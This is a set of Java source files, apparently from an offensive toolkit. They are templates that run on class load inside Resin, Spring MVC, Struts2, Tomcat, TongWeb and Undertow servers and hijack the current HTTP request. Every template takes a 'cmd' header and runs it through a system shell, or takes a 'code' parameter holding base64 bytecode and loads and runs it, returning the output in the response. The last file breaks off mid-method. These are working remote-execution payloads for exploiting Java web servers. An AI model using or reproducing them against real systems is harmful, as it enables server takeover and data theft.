FILE: jeg-core/src/main/java/jeg/core/template/resin/ResinCmdExecTpl.java
================================================
package jeg.core.template.resin;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
public class ResinCmdExecTpl {
static {
try {
new ResinCmdExecTpl();
} catch (Exception e) {
}
}
private String getReqHeaderName() {
return "cmd";
}
public ResinCmdExecTpl() {
run();
}
private void run() {
try {
Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
Field _responseF;
if (currentRequest.getClass().getName().contains("com.caucho.server.http.HttpRequest")) {
// 3.x 需要从父类中获取
_responseF = currentRequest.getClass().getSuperclass().getDeclaredField("_response");
} else {
_responseF = currentRequest.getClass().getDeclaredField("_response");
}
_responseF.setAccessible(true);
Object response = _responseF.get(currentRequest);
Method getWriterM = response.getClass().getMethod("getWriter");
Writer writer = (Writer) getWriterM.invoke(response);
Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class);
String cmd = (String) getHeaderM.invoke(currentRequest, getReqHeaderName());
writer.write(exec(cmd));
} catch (Exception e) {
}
}
private String exec(String cmd) {
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
return execRes;
} catch (Exception e) {
return e.getMessage();
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/resin/ResinCodeExecTpl.java
================================================
package jeg.core.template.resin;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ResinCodeExecTpl {
static {
try {
new ResinCodeExecTpl();
} catch (Exception e) {
}
}
private String getReqParamName() {
return "code";
}
ResinCodeExecTpl(){
run();
}
private void run() {
try {
Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
Field _responseF;
if(currentRequest.getClass().getName().contains("com.caucho.server.http.HttpRequest")){
// 3.x 需要从父类中获取
_responseF = currentRequest.getClass().getSuperclass().getDeclaredField("_response");
}else{
_responseF = currentRequest.getClass().getDeclaredField("_response");
}
_responseF.setAccessible(true);
Method getParameterM = currentRequest.getClass().getMethod("getParameter", String.class);
String code = (String)getParameterM.invoke(currentRequest, getReqParamName());
if(code != null & code != ""){
Object response = _responseF.get(currentRequest);
// 写入 body
Method getWriterM = response.getClass().getMethod("getWriter");
Writer writer = (Writer)getWriterM.invoke(response);
writer.write(exec(code));
}
// // 写入 header
// Method addHeaderM = response.getClass().getMethod("addHeader",String.class, String.class);
// addHeaderM.invoke(response,getRespHeaderName(),defineClazz(code));
}catch (Exception e){
}
}
private String exec(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCmdExecTpl.java
================================================
package jeg.core.template.springmvc;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringMVCCmdExecTpl {
static {
try {
new SpringMVCCmdExecTpl();
} catch (Exception e) {
}
}
private String getReqHeaderName() {
return "cmd";
}
public SpringMVCCmdExecTpl() throws Exception {
run();
}
public void run() {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest");
Object response = invokeMethod(requestAttributes, "getResponse");
Method getHeaderM = request.getClass().getMethod("getHeader", String.class);
String cmd = (String) getHeaderM.invoke(request, getReqHeaderName());
if (cmd != null && !cmd.isEmpty()) {
Writer writer = (Writer) invokeMethod(response, "getWriter");
writer.write(exec(cmd));
writer.flush();
writer.close();
}
} catch (Exception e) {
}
}
private String exec(String cmd) {
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
return execRes;
} catch (Exception e) {
return e.getMessage();
}
}
private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/springmvc/SpringMVCCodeExecTpl.java
================================================
package jeg.core.template.springmvc;
import java.io.Writer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class SpringMVCCodeExecTpl {
static {
try {
new SpringMVCCodeExecTpl();
} catch (Exception e) {
}
}
private String getReqParamName() {
return "code";
}
public SpringMVCCodeExecTpl() throws Exception {
run();
}
private void run() {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest");
Object response = invokeMethod(requestAttributes, "getResponse");
String code = (String)invokeMethod(request, "getParameter",new Class[]{String.class},new Object[]{getReqParamName()});
if (code != null && !code.isEmpty()) {
Writer writer = (Writer) invokeMethod(response,"getWriter");
writer.write(exec(code));
writer.flush();
writer.close();
}
} catch (Exception e) {
}
}
private String exec(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/struts2/Struts2CmdExecTpl.java
================================================
package jeg.core.template.struts2;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Struts2CmdExecTpl {
static {
try {
new Struts2CmdExecTpl();
} catch (Exception e) {
}
}
private String getReqHeaderName() {
return "cmd";
}
public Struts2CmdExecTpl() throws Exception {
run();
}
public void run(){
try {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext", false, loader);
java.lang.reflect.Field filed = actionContextClass.getDeclaredField("actionContext");
filed.setAccessible(true);
ThreadLocal actionContext = (ThreadLocal) filed.get(null);
Object con = actionContext.get();
Object context = invokeMethod(con,"getContext");
Object request = invokeMethod(context,"get", new Class[]{String.class},new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletRequest"});
Object response = invokeMethod(context,"get", new Class[]{String.class},new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletResponse"});
String cmd = (String) invokeMethod(request,"getHeader",new Class[]{String.class},new Object[]{getReqHeaderName()});
if (cmd != null && !cmd.isEmpty()) {
Writer writer = (Writer) invokeMethod(response, "getWriter");
writer.write(exec(cmd));
writer.flush();
writer.close();
}
}catch (Exception ignored){
}
}
public String exec(String cmd){
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
return execRes;
}catch (Exception e){
return e.getMessage();
}
}
private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
private Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/struts2/Struts2CodeExecTpl.java
================================================
package jeg.core.template.struts2;
import java.io.Writer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Struts2CodeExecTpl {
static {
try {
new Struts2CodeExecTpl();
} catch (Exception e) {
}
}
private String getReqParamName() {
return "code";
}
public Struts2CodeExecTpl() throws Exception{
run();
}
public void run() {
try {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
Class actionContextClass = Class.forName("com.opensymphony.xwork2.ActionContext", false, loader);
java.lang.reflect.Field filed = actionContextClass.getDeclaredField("actionContext");
filed.setAccessible(true);
ThreadLocal actionContext = (ThreadLocal) filed.get(null);
Object con = actionContext.get();
Object context = invokeMethod(con, "getContext");
Object request = invokeMethod(context, "get", new Class[]{String.class}, new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletRequest"});
Object response = invokeMethod(context, "get", new Class[]{String.class}, new Object[]{"com.opensymphony.xwork2.dispatcher.HttpServletResponse"});
String code = (String) invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{getReqParamName()});
if (code != null && !code.isEmpty()) {
Writer writer = (Writer) invokeMethod(response, "getWriter");
writer.write(exec(code));
writer.flush();
writer.close();
}
} catch (Exception ignored) {
}
}
private String exec(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
private Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
private synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCmdExecTpl.java
================================================
package jeg.core.template.tomcat;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;
public class TomcatCmdExecTpl {
static {
try {
new TomcatCmdExecTpl();
} catch (Exception e) {
}
}
public TomcatCmdExecTpl() throws Exception{
run();
}
// 传参：需要执行的命令
private String getReqHeaderName() {
return "cmd";
}
private void run() {
try {
Method var0 = Thread.class.getDeclaredMethod("getThreads", (Class[]) (new Class[0]));
var0.setAccessible(true);
Thread[] var1 = (Thread[]) ((Thread[]) var0.invoke((Object) null));
for (int var2 = 0; var2 < var1.length; ++var2) {
if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) {
Field var3 = var1[var2].getClass().getDeclaredField("target");
var3.setAccessible(true);
Object var4 = var3.get(var1[var2]);
try {
var3 = var4.getClass().getDeclaredField("endpoint");
} catch (NoSuchFieldException var15) {
var3 = var4.getClass().getDeclaredField("this$0");
}
var3.setAccessible(true);
var4 = var3.get(var4);
try {
var3 = var4.getClass().getDeclaredField("handler");
} catch (NoSuchFieldException var14) {
try {
var3 = var4.getClass().getSuperclass().getDeclaredField("handler");
} catch (NoSuchFieldException var13) {
var3 = var4.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
}
var3.setAccessible(true);
var4 = var3.get(var4);
try {
var3 = var4.getClass().getDeclaredField("global");
} catch (NoSuchFieldException var12) {
var3 = var4.getClass().getSuperclass().getDeclaredField("global");
}
var3.setAccessible(true);
var4 = var3.get(var4);
var4.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo");
if (var4.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) {
var3 = var4.getClass().getDeclaredField("processors");
var3.setAccessible(true);
ArrayList var5 = (ArrayList) var3.get(var4);
for (int var6 = 0; var6 < var5.size(); ++var6) {
var3 = var5.get(var6).getClass().getDeclaredField("req");
var3.setAccessible(true);
var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var3.get(var5.get(var6)), 1);
String var7;
try {
var7 = (String) var3.get(var5.get(var6)).getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var3.get(var5.get(var6)), new Object[]{getReqHeaderName()});
if (var7 != null) {
Object response = var4.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(var4, new Object[0]);
Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);
writer.write(exec(var7));
writer.flush();
writer.close();
break;
}
} catch (Exception ignored) {
}
}
}
}
}
} catch (Throwable ignored) {
}
}
// 执行模块
private String exec(String cmd) {
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
return execRes;
} catch (Exception e) {
return e.getMessage();
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/tomcat/TomcatCodeExecTpl.java
================================================
package jeg.core.template.tomcat;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class TomcatCodeExecTpl {
static {
new TomcatCodeExecTpl();
}
public TomcatCodeExecTpl(){
run();
}
private String getReqParamName() {
return "code";
}
private void run() {
try {
Method var0 = Thread.class.getDeclaredMethod("getThreads", (Class[]) (new Class[0]));
var0.setAccessible(true);
Thread[] var1 = (Thread[]) ((Thread[]) var0.invoke((Object) null));
for (int var2 = 0; var2 < var1.length; ++var2) {
if (var1[var2].getName().contains("http") && var1[var2].getName().contains("Acceptor")) {
Field var3 = var1[var2].getClass().getDeclaredField("target");
var3.setAccessible(true);
Object var4 = var3.get(var1[var2]);
try {
var3 = var4.getClass().getDeclaredField("endpoint");
} catch (NoSuchFieldException var15) {
var3 = var4.getClass().getDeclaredField("this$0");
}
var3.setAccessible(true);
var4 = var3.get(var4);
try {
var3 = var4.getClass().getDeclaredField("handler");
} catch (NoSuchFieldException var14) {
try {
var3 = var4.getClass().getSuperclass().getDeclaredField("handler");
} catch (NoSuchFieldException var13) {
var3 = var4.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
}
var3.setAccessible(true);
var4 = var3.get(var4);
try {
var3 = var4.getClass().getDeclaredField("global");
} catch (NoSuchFieldException var12) {
var3 = var4.getClass().getSuperclass().getDeclaredField("global");
}
var3.setAccessible(true);
var4 = var3.get(var4);
var4.getClass().getClassLoader().loadClass("org.apache.coyote.RequestGroupInfo");
if (var4.getClass().getName().contains("org.apache.coyote.RequestGroupInfo")) {
var3 = var4.getClass().getDeclaredField("processors");
var3.setAccessible(true);
ArrayList var5 = (ArrayList) var3.get(var4);
for (int var6 = 0; var6 < var5.size(); ++var6) {
var3 = var5.get(var6).getClass().getDeclaredField("req");
var3.setAccessible(true);
var4 = var3.get(var5.get(var6)).getClass().getDeclaredMethod("getNote", Integer.TYPE).invoke(var3.get(var5.get(var6)), 1);
String var8;
try {
// 从 request body 获取参数
var8 = (String) var4.getClass().getDeclaredMethod("getParameter", String.class).invoke(var4, getReqParamName());
if (var8 != null) {
String var10 = exec(var8);
Object response = var4.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(var4);
Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);
writer.write(var10);
writer.flush();
writer.close();
break;
}
} catch (Exception ignored) {
}
}
}
}
}
} catch (Throwable var16) {
}
}
private String exec(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCmdExecTpl.java
================================================
package jeg.core.template.tongweb;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
import java.util.Set;
public class TongWebCmdExecTpl {
static {
try {
new TongWebCmdExecTpl();
} catch (Exception e) {
}
}
private static String getReqHeaderName() {
return "cmd";
}
public TongWebCmdExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
run();
}
public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Set<Thread> threadSet = Thread.getAllStackTraces().keySet();
List<Thread> taskThreadList = new ArrayList();
for (Thread thread : threadSet) {
if (thread.getClass().getName().contains("tongweb.web.util.threads.TaskThread")) {
// 将目标对象添加到列表中
taskThreadList.add(thread);
}
}
List<Object> tables = new ArrayList();
for (Thread thread : taskThreadList) {
try {
Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object localMap = threadLocalsField.get(thread);
Class<?> threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMapClass.getDeclaredField("table");
tableField.setAccessible(true);
Object table = tableField.get(localMap);
tables.add(table);
} catch (Exception e) {
continue;
}
}
List<Object> values = new ArrayList();
for (Object table : tables) {
// 遍历 table 中的项
try {
if (table != null && table.getClass().isArray()) {
int length = Array.getLength(table);
for (int i = 0; i < length; i++) {
Object entry = Array.get(table, i);
if (entry != null) {
// 获取 entry 的 value 字段
try {
Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
values.add(value);
} catch (Exception e) {
}
}
}
}
} catch (Exception e) {
}
}
for (Object value : values) {
if (value != null && value.getClass().getName().equals("com.tongweb.catalina.connector.ThorRequest")) {
try {
// 从 request header 获取参数
String cmd = (String) value.getClass().getSuperclass().getDeclaredMethod("getHeader", new Class[]{String.class}).invoke(value, new Object[]{getReqHeaderName()});
if (cmd != null) {
Object response = value.getClass().getSuperclass().getDeclaredMethod("getResponse", new Class[0]).invoke(value, new Object[0]);
Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);
writer.write(executeCommand(cmd));
writer.flush();
writer.close();
break;
}
} catch (Exception ignored) {
}
}
}
}
// 执行模块
public static String executeCommand(String cmd) {
try {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String execRes = "";
while (s.hasNext()) {
execRes += s.next();
}
if (execRes.isEmpty()) {
return String.format("The code executes successfully, but command:%s fails. The command may not exist!\n", cmd);
}
return execRes;
} catch (Exception e) {
return String.format("The code executes successfully, but command:%s fails. The command may not exist!\n Error info: %s", cmd, e.getMessage());
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/tongweb/TongWebCodeExecTpl.java
================================================
package jeg.core.template.tongweb;
import jeg.core.template.inforsuite.InforSuiteCodeExecTpl;
import java.io.Writer;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
public class TongWebCodeExecTpl {
static {
try {
new TongWebCodeExecTpl();
} catch (Exception e) {
}
}
private static String getReqParamName() {
return "code";
}
public TongWebCodeExecTpl() throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
run();
}
public void run() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Set<Thread> threadSet = Thread.getAllStackTraces().keySet();
List<Thread> taskThreadList = new ArrayList();
for (Thread thread : threadSet) {
if (thread.getClass().getName().contains("tongweb.web.util.threads.TaskThread")) {
// 将目标对象添加到列表中
taskThreadList.add(thread);
}
}
List<Object> tables = new ArrayList();
for (Thread thread : taskThreadList) {
try {
Field threadLocalsField = Thread.class.getDeclaredField("threadLocals");
threadLocalsField.setAccessible(true);
Object localMap = threadLocalsField.get(thread);
Class<?> threadLocalMapClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField = threadLocalMapClass.getDeclaredField("table");
tableField.setAccessible(true);
Object table = tableField.get(localMap);
tables.add(table);
} catch (Exception e) {
continue;
}
}
List<Object> values = new ArrayList();
for (Object table : tables) {
// 遍历 table 中的项
try {
if (table != null && table.getClass().isArray()) {
int length = Array.getLength(table);
for (int i = 0; i < length; i++) {
Object entry = Array.get(table, i);
if (entry != null) {
// 获取 entry 的 value 字段
try {
Field valueField = entry.getClass().getDeclaredField("value");
valueField.setAccessible(true);
Object value = valueField.get(entry);
values.add(value);
} catch (Exception e) {
}
}
}
}
} catch (Exception e) {
}
}
for (Object value : values) {
if (value != null && value.getClass().getName().equals("com.tongweb.catalina.connector.ThorRequest")) {
try {
// 从 request body 获取参数
String code = (String) value.getClass().getSuperclass().getDeclaredMethod("getParameter", String.class).invoke(value, getReqParamName());
if (code != null) {
Object response = value.getClass().getSuperclass().getDeclaredMethod("getResponse", new Class[0]).invoke(value, new Object[0]);
Writer writer = (Writer) response.getClass().getMethod("getWriter", new Class[0]).invoke(response, new Object[0]);
writer.write(defineClazz(code));
writer.flush();
writer.close();
break;
}
} catch (Exception ignored) {
}
}
}
}
private static String defineClazz(String var2) {
try {
byte[] clazzByte = base64Decode(var2);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), clazzByte, 0, clazzByte.length);
return clazz.newInstance().toString();
} catch (Exception e) {
return e.getMessage();
}
}
private static byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception var4) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
}
================================================
FILE: jeg-core/src/main/java/jeg/core/template/undertow/UndertowCmdExecTpl.java
================================================
package jeg.core.template.undertow;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class UndertowCmdExecTpl {
static {
new UndertowCmdExecTpl();
}
private String getReqHeaderName() {
return "cmd";
}
public UndertowCmdExecTpl(){
run();
}
private void run(){
try {
Thread thread = Thread.currentThread();
Object threadLocals = getFV(thread,"threadLocals");
Object table = getFV(threadLocals,"table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry == null) continue;
Object value = getFV(entry,"value");
if (value != null && value.getClass().getName().contains("ServletRequestContext")) {
Object request = getFV(value,"servletRequest");
String cmd = (String) invokeMethod(request,"getHeader",new Class[]{String.class},new Object[]{getReqHeaderName()});
Object response = getFV(value,"servletResponse");
PrintWriter writer = (PrintWriter) invokeMethod(response,"getWriter",new Class[0],new Object[0]);
writer.write(exec(cmd));
writer.flush();
writer.close();
}
}
}catch (Exception e){ }
}
private String exec(String cmd) {
